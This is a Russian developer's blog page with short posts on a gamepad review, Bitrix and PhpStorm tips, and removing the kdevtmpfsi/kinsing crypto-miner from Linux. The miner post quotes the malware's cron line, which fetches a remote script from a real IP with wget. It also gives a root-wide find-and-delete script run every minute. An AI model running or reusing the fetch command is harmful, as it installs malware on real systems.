Nikovit <Путешествия и разработка>

8bitdo Ultimate Controller наверное лучший геймпад для PC, обзор

Начну обзор с небольшого рассказа о компании 8bitdo.
8bitdo это китайская компания начавшая свой путь с выпуска качественных ретро геймпадов для Switch и PC.
Сейчас компания стала выпускать аксессуары для Xbox, которые отлично подходят для PC гейминга.

И так, герой этого обзора 8bitdo Ultimate Controller, он умеет все то же самое что и Xbox Elite, но не за космическую цену, а вполне бюджетную около 3000 рублей.

01-l.jpg

Битрикс поиск ищет не все товары

1. Увеличить число элементов в настройках поиска, Настройки → Настройки продукта → Настройки модулей → Поиск

Pasted image 20220830145228.png

2. Проверить стоит ли галка "Индексировать элементы для модуля поиска", в настройках инфоблока

Pasted image 20220830123723.png

3. Сделать переиндексацию Администрирование -> Настройки -> Поиск  -> Переиндексация

4. В вызове компонента "Поиск по каталогу" (bitrix:catalog.search), изменить параметр PAGE_RESULT_COUNT, или добавить, если нет такого параметра.
"PAGE_RESULT_COUNT" => 9999,

5. Если у вас шаблон Аспро:Макс, то у него свой отдельный счетчик PAGE_RESULT_COUNT, находится он в файле templates -> aspro_max -> components -> bitrix -> catalog.search -> main -> include_search_page.php

Аналогично в других версиях Аспро:
Аспро: Маркет templates -> aspro_mshop -> components -> bitrix -> catalog.search -> main -> template.php.
Аспро: Оптимус templates -> aspro_optimus -> components -> bitrix -> catalog.search -> main -> template.php
Аспро: Next templates -> aspro_next -> components -> bitrix -> catalog.search -> main -> include_search_page.php.
Аспро: Шины и диски 2.0 templates -> aspro_tires2 -> components -> bitrix -> catalog.search -> main -> template.php

phpstorm commit без анализа кода

Коммит в PhpStorm может идти очень долго из-за анализа кода.

Для отключения анализа кода в PhpStorm нужно в окне коммита нажать многоточие и снять галочку с пункта Analyze code.

analyze code.png  

kdevtmpfsi - удаляем вирус

kdevtmpfsi - это вирус майнер, работает на операционных системах семейства Linux

В работе вирус загружает CPU на 100%
CE7KILJb98Gei5s4EupwPYxNd9U2_vftfxlpvD7fHF4oPh7QYSvqveKMZRqVic9MaLS2mfjF3T4swMMJ-1OqrE_i.jpg

Сразу оговорюсь, описанный ниже способ не решает проблему в корне, но по крайней мере не дает вирусу работать, т.к. пути проникновения вируса на текущий момент не известны.

Я пробовал удалять файл /tmp/kdevtmpfsi, создавать такой же файл, и назначать права chmod 0000, не помогает, вирус создает новые файлы добавляя к названию цифры вида /tmp/kdevtmpfsi65896556.

Пробовал определять порты через которые работает вирус и закрывать их, тоже не помогает, вирус начинает использовать другие порты.

Обнаружил в cron запись вида:
* * * * * wget -q -O - http://195.3.146.118/lr.sh
Удалил, но это тоже не помогло, видимо он запускается еще от куда-то.



Создаем новый файл в nano
nano kill.sh

Вставляем скрипт
#!/bin/bash

kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*

Этот скрипт находит вирус kdevtmpfsi, завершает процессы и удаляет его файлы.
Если запустить этот скрипт один раз вирус конечно удалиться, но через какое-то время он снова вернется, может быть через пару секунд, а может и через несколько часов.

Поэтому добавляем в cron постоянный запуск этого скрипта:
crontab -e

Добавляем строчку:
* * * * * sh {путь_к_файлу_скрипта}kill.sh > /var/log/kill.log

PhpStorm открыть недавно закрытый файл, комбинация клавиш

Для открытия недавно закрытого файла в PhpStorm достаточно нажать комбинацию клавиш ctrl + e, откроется окно со списком недавно закрытых файлов, в нем можно выбрать любой недавно закрытый файл.

phpstorm.png  

Битрикс редерикт всех страниц на https

В файле /site_dir/.htaccess вставляем
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteCond %{HTTP:X-Forwarded-Proto} !https
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
Пример:
htaccess.png  

Битрикс. Событие создание нового заказа.

AddEventHandler("sale", "OnOrderSave", "OrderMySave");
function OrderMySave($orderID, $fields, &$orderFields, $isNew){
if ($isNew) {
   //Полезный код
}
}